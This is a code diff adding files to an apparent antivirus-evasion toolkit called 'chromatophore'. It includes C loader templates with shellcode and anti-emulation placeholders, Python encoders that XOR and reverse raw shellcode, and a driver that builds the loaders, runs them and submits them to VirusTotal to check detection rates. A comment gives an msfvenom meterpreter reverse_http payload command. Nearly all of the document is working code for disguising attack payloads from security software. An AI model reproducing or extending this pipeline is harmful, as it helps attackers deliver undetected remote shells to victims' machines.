0xfa,0xf0,0x1d,0xba,0x8c};
|
||||
//char xorkey[] = "XORKEY";
|
||||
|
||||
{{ANTI_EMULATION}}
|
||||
{{SHELLCODE}}
|
||||
|
||||
// XOR our shellcode with the key to decode it
|
||||
XOR((char *) shellcode, sizeof(shellcode), xorkey, sizeof(xorkey));
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(shellcode))
|
||||
{
|
||||
if (idx == (sizeof(shellcode) - 1) )
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
import sys
|
||||
|
||||
def repeated_key_xor(input_text, key):
|
||||
"""Returns message XOR'd with a key. If the message is longer
|
||||
than the key, the key will repeat.
|
||||
"""
|
||||
input_text = input_text
|
||||
key = key
|
||||
len_key = len(key)
|
||||
encoded = []
|
||||
|
||||
for i in range(0, len(input_text)):
|
||||
encoded.append(input_text[i] ^ key[i % len_key])
|
||||
return bytes(encoded)
|
||||
|
||||
|
||||
def format_shellcode(encrypted_shellcode):
|
||||
# Format shellcode
|
||||
encrypted_shellcode = encrypted_shellcode
|
||||
chunked_shellcode = ""
|
||||
chunked_shellcode = [encrypted_shellcode[i:i+2] for i in range(0, len(encrypted_shellcode), 2)]
|
||||
final_shellcode = ""
|
||||
for chunk in chunked_shellcode:
|
||||
final_shellcode += "0x" + str(chunk).zfill(2) + ","
|
||||
|
||||
# trim trailing comma
|
||||
final_shellcode = final_shellcode.rstrip(',')
|
||||
|
||||
return final_shellcode
|
||||
|
||||
|
||||
def get_raw_sc(input_file):
|
||||
input_file = input_file
|
||||
file_shellcode = b''
|
||||
try:
|
||||
with open(input_file, 'rb') as shellcode_file:
|
||||
file_shellcode = shellcode_file.read()
|
||||
file_shellcode = file_shellcode.strip()
|
||||
return(file_shellcode)
|
||||
except FileNotFoundError:
|
||||
exit("\n\nThe input file you specified does not exist! Please specify a valid file path.\nExiting...\n")
|
||||
|
||||
|
||||
def DoBinary(raw_sc, key):
|
||||
key_bytes = bytes(key, 'UTF8')
|
||||
encrypted_shellcode = repeated_key_xor(raw_sc, key_bytes).hex()
|
||||
|
||||
final_shellcode = format_shellcode(encrypted_shellcode)
|
||||
return final_shellcode
|
||||
|
||||
|
||||
def xor_multibyte(input_file):
|
||||
xor_key = "XORKEY"
|
||||
raw_shellcode = get_raw_sc(input_file)
|
||||
shellcode = DoBinary(raw_shellcode, xor_key)
|
||||
|
||||
ret = ""
|
||||
ret += 'char shellcode[{}] = {};\n'.format(
|
||||
str(len(raw_shellcode)),
|
||||
'{' + '{}'.format(shellcode) + '}')
|
||||
ret += '\tchar xorkey[] = "{}";\n'.format(xor_key)
|
||||
|
||||
return ret
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
// compile: cl.exe /nologo /MT /Tcreverse_byte_order_xor.c /link /OUT:reverse_byte_order_xor.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
int main(void)
|
||||
{
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f csharp | tr -d \\n
|
||||
// python3 reverse_byte_order_xor.py
|
||||
{{ANTI_EMULATION}}
|
||||
|
||||
{{SHELLCODE}}
|
||||
|
||||
char shellcode[598] = {0};
|
||||
unsigned int len = sizeof(reversed_payload);
|
||||
int xorkey = 23;
|
||||
|
||||
// reverse and de-xor our array of ints
|
||||
for (int i = 0; i < len; i++)
|
||||
{
|
||||
char decoded = reversed_payload[len - i - 1] ^ xorkey;
|
||||
shellcode[i] = decoded;
|
||||
}
|
||||
|
||||
int idx = 0;
|
||||
while (idx < sizeof(reversed_payload))
|
||||
{
|
||||
if (idx == (sizeof(reversed_payload) - 1))
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
from random import randrange
|
||||
import sys
|
||||
|
||||
|
||||
xor_key = 23
|
||||
|
||||
def get_raw_sc(input_file):
|
||||
input_file = input_file
|
||||
file_shellcode = b''
|
||||
try:
|
||||
with open(input_file, 'rb') as shellcode_file:
|
||||
file_shellcode = shellcode_file.read()
|
||||
return(file_shellcode)
|
||||
except FileNotFoundError:
|
||||
sys.exit("Supplied input file not found!")
|
||||
|
||||
|
||||
def xor_reverse(input_file):
|
||||
|
||||
data = get_raw_sc(input_file)
|
||||
shellcode = list(data)
|
||||
|
||||
hexbytes = ', '.join(hex(x ^ xor_key) for x in shellcode[::-1])
|
||||
|
||||
# Print in reverse order as hex bytes
|
||||
ret = 'unsigned char reversed_payload [{}] = {}'.format(
|
||||
len(shellcode),
|
||||
'{' + hexbytes + '};'
|
||||
)
|
||||
|
||||
return ret
|
||||
@@ -0,0 +1,32 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
|
||||
int main(void)
|
||||
{
|
||||
{{ANTI_EMULATION}}
|
||||
{{SHELLCODE}}
|
||||
|
||||
// XOR each byte of our shellcode with the key to decode it
|
||||
for (int idx = 0; idx < sizeof(shellcode); idx++) {
|
||||
shellcode[idx] = shellcode[idx] ^ xorkey;
|
||||
}
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(shellcode))
|
||||
{
|
||||
if (idx == (sizeof(shellcode) - 1) )
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
import sys
|
||||
|
||||
|
||||
def get_raw_sc(input_file):
|
||||
input_file = input_file
|
||||
file_shellcode = b''
|
||||
try:
|
||||
with open(input_file, 'rb') as shellcode_file:
|
||||
file_shellcode = shellcode_file.read()
|
||||
return(file_shellcode)
|
||||
except FileNotFoundError:
|
||||
sys.exit("Supplied input file not found!")
|
||||
|
||||
|
||||
def xor_single(input_file):
|
||||
shellcode = get_raw_sc(input_file)
|
||||
shellcode = list(shellcode)
|
||||
|
||||
xor_key = 23
|
||||
|
||||
ret = ""
|
||||
ret += 'unsigned int xorkey = 23;\n'
|
||||
ret += 'unsigned char shellcode[{}] = {};'.format(
|
||||
str(len(shellcode)),
|
||||
'{' + '{}'.format(', '.join(str(x ^ xor_key) for x in shellcode)) + '}')
|
||||
return ret
|
||||
@@ -0,0 +1,178 @@
|
||||
import subprocess
|
||||
import os
|
||||
import sys
|
||||
|
||||
|
||||
from chromatophore.aes import aes
|
||||
from chromatophore.bin2mac import bin2mac
|
||||
from chromatophore.bin2ip import bin2ip
|
||||
from chromatophore.jargon import jargon
|
||||
from chromatophore.jigsaw import jigsaw
|
||||
from chromatophore.base64 import base64
|
||||
from chromatophore.base64api import base64api
|
||||
from chromatophore.offset import offset
|
||||
from chromatophore.rc4api import rc4api
|
||||
from chromatophore.reverse_byte_order import reverse_byte_order
|
||||
from chromatophore.xor_reverse import xor_reverse
|
||||
from chromatophore.xor_single import xor_single
|
||||
from chromatophore.xor_multibyte import xor_multibyte
|
||||
from chromatophore.reverse_hex_string import reverse_hex_string
|
||||
from chromatophore.twoarray import twoarray
|
||||
from chromatophore.uuidapi import uuidapi
|
||||
|
||||
#import importlib
|
||||
#def ImportChromatophore():
|
||||
# package = "chromatophere"
|
||||
#
|
||||
# for name in module_names:
|
||||
# module = importlib.import_module(f"{package}.{name}")
|
||||
# func = getattr(module, name)
|
||||
# result = func() # or func(some_arg)
|
||||
# print(f"{name}() => {result}")
|
||||
|
||||
|
||||
|
||||
def no_encoding(_input_file):
|
||||
return ""
|
||||
|
||||
|
||||
function_map = {
|
||||
"noobfuscation": no_encoding,
|
||||
"aes": aes.aes,
|
||||
"base64": base64.base64,
|
||||
"base64api": base64api.base64api,
|
||||
"bin2ip": bin2ip.bin2ip,
|
||||
"bin2mac": bin2mac.bin2mac,
|
||||
"jargon": jargon.jargon,
|
||||
"jigsaw": jigsaw.jigsaw,
|
||||
"offset": offset.offset,
|
||||
"rc4api": rc4api.rc4api,
|
||||
"reverse_byte_order": reverse_byte_order.reverse_byte_order,
|
||||
"reverse_hex_string": reverse_hex_string.reverse_hex_string,
|
||||
"twoarray": twoarray.twoarray,
|
||||
"uuidapi": uuidapi.uuidapi,
|
||||
"xor_reverse": xor_reverse.xor_reverse,
|
||||
"xor_single": xor_single.xor_single,
|
||||
"xor_multibyte": xor_multibyte.xor_multibyte,
|
||||
}
|
||||
|
||||
# no obfuscation
|
||||
# // compile: cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcnoobfuscation.c /link /out:noobfuscation.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
# aes/
|
||||
# // python3 aes.py met.bin
|
||||
# // compile: cl.exe /nologo /Tcaes.c /link /out:aes.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
# Requires either the pycryptodome or pycryptodomex package (`python3 -m pip install pycryptodomex`)
|
||||
|
||||
# bin2ip
|
||||
# cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcbin2ipv4.c /link /OUT:bin2ipv4.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
# bin2ip.py -i met.bin
|
||||
# IPv4s = []
|
||||
|
||||
# bin2mac
|
||||
# // cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcbin2mac.c /link /OUT:bin2mac.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
# python3 bin2mac.py -i met.bin
|
||||
|
||||
# jargon
|
||||
# cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcjargon.c /link /out:jargon.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
# jargon.py
|
||||
|
||||
# jigsaw
|
||||
# cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcjigsaw.c /link /out:jigsaw.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
# python3 jigsaw.py met.bin
|
||||
|
||||
# offset
|
||||
# cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcoffset.c /link /out:offset.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
# python3 offset.py -i met.bin
|
||||
|
||||
# reverse_byte_order
|
||||
# compile: cl.exe /nologo /Tcreverse_byte_order.c /link /OUT:reverse_byte_order.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
# // python3 reverse_byte_order.py
|
||||
|
||||
# uuid
|
||||
# python3 bin2uuid.py -i met.bin
|
||||
# // cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcuuid.c /link /out:uuid.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
# xor_single
|
||||
# // cl.exe /nologo /MT /Tcxor.c /link /out:xor.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
# python3 xor.py
|
||||
|
||||
# xor_multibyte
|
||||
# // cl.exe /nologo /Tcxor-multibyte-key.c /link /out:xor-multibyte-key.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
# // python3 xor.py
|
||||
|
||||
|
||||
def do():
|
||||
# beacon.bin?
|
||||
#
|
||||
# optional: create meterpreter shellcode
|
||||
# - out: output/shellcode.bin
|
||||
#
|
||||
# execute bin2mac/bin2mac.py with shellcode.bin
|
||||
# - out: shellcode_encoded
|
||||
#
|
||||
# open bin2mac.c as template
|
||||
# - //SHELLCODE_ENCODED// to shellcode_encoded
|
||||
# - optional: add anti-emulation
|
||||
# - out: output/bin2mac.c
|
||||
#
|
||||
# compile output/bin2mac.c
|
||||
# - out: output/bin2mac.exe
|
||||
#
|
||||
# send to virustotal
|
||||
# - in: output/bin2mac.exe
|
||||
# - out: output/bin2mac.exe.json
|
||||
|
||||
#module = "noobfuscation"
|
||||
module = "xor_multibyte"
|
||||
|
||||
print("Templating")
|
||||
|
||||
shellcode_file = "beacon.bin"
|
||||
mod_data = function_map[module](shellcode_file)
|
||||
|
||||
print("Mod data: " + mod_data)
|
||||
|
||||
template_input = "chromatophore\\{}\\{}.c".format(module, module)
|
||||
template_output = "chromatophore\\{}\\{}_work.c".format(module, module)
|
||||
|
||||
convert_template(template_input, template_output, mod_data)
|
||||
compile_and_execute(module)
|
||||
|
||||
|
||||
def convert_template(template_input, template_output, mod_data, anti_emulation_data=""):
|
||||
print("Convert template: {} -> {}".format(template_input, template_output))
|
||||
with open(template_input) as template_file:
|
||||
template = template_file.read()
|
||||
template = template.replace('{{ANTI_EMULATION}}', anti_emulation_data)
|
||||
template = template.replace('{{SHELLCODE}}', mod_data)
|
||||
|
||||
with open(template_output, 'w') as output_file:
|
||||
output_file.write(template)
|
||||
|
||||
|
||||
def compile_and_execute(module):
|
||||
module_c = "chromatophore\\{}\\{}_work.c".format(module, module)
|
||||
module_exe = "output\\{}.exe".format(module)
|
||||
|
||||
print("Executing module: " + module)
|
||||
cmd = "cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tc{} /link /OUT:{} /SUBSYSTEM:CONSOLE /MACHINE:x64".format(
|
||||
module_c, module_exe
|
||||
)
|
||||
|
||||
print("Compiling: {} into {}".format(module_c, module_exe))
|
||||
result = subprocess.run(cmd, shell=True)
|
||||
if result.returncode != 0:
|
||||
print("Error executing command: " + cmd)
|
||||
sys.exit(1)
|
||||
|
||||
print("Executing module: " + module)
|
||||
result = subprocess.run(module_exe, shell=True)
|
||||
|
||||
|
||||
def main():
|
||||
do()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,3 @@
|
||||
request
|
||||
pycryptodome
|
||||
pycryptodomex
|
||||
@@ -0,0 +1,51 @@
|
||||
import requests
|
||||
import time
|
||||
|
||||
|
||||
API_KEY = ''
|
||||
|
||||
url = 'https://www.virustotal.com/api/v3/files'
|
||||
headers = {
|
||||
'x-apikey': API_KEY
|
||||
}
|
||||
|
||||
|
||||
# returns: analysis_id
|
||||
def send_file_to_virustotal(file_path) -> str:
|
||||
with open(file_path, 'rb') as f:
|
||||
files = {'file': (file_path, f)}
|
||||
response = requests.post(url, headers=headers, files=files)
|
||||
|
||||
if response.status_code == 200:
|
||||
result = response.json()
|
||||
analysis_id = result['data']['id']
|
||||
print(f"Submitted. Analysis ID: {analysis_id}")
|
||||
else:
|
||||
print(f"Failed to submit: {response.status_code} - {response.text}")
|
||||
|
||||
|
||||
|
||||
def get_analysis_result(analysis_id: str):
|
||||
url = f'https://www.virustotal.com/api/v3/analyses/{analysis_id}'
|
||||
while True:
|
||||
response = requests.get(url, headers=headers)
|
||||
if response.status_code == 200:
|
||||
json_response = response.json()
|
||||
status = json_response['data']['attributes']['status']
|
||||
if status == 'completed':
|
||||
stats = json_response['data']['attributes']['stats']
|
||||
print("Analysis complete!")
|
||||
print("Malicious:", stats['malicious'])
|
||||
print("Suspicious:", stats['suspicious'])
|
||||
print("Undetected:", stats['undetected'])
|
||||
print("Harmless:", stats['harmless'])
|
||||
break
|
||||
else:
|
||||
print("Analysis in progress...")
|
||||
time.sleep(5)
|
||||
else:
|
||||
print("Error retrieving analysis.")
|
||||
break
|
||||
|
||||
# Use analysis_id from upload step
|
||||
#get_analysis_result(analysis_id)
|
||||
Reference in New Issue
Block a user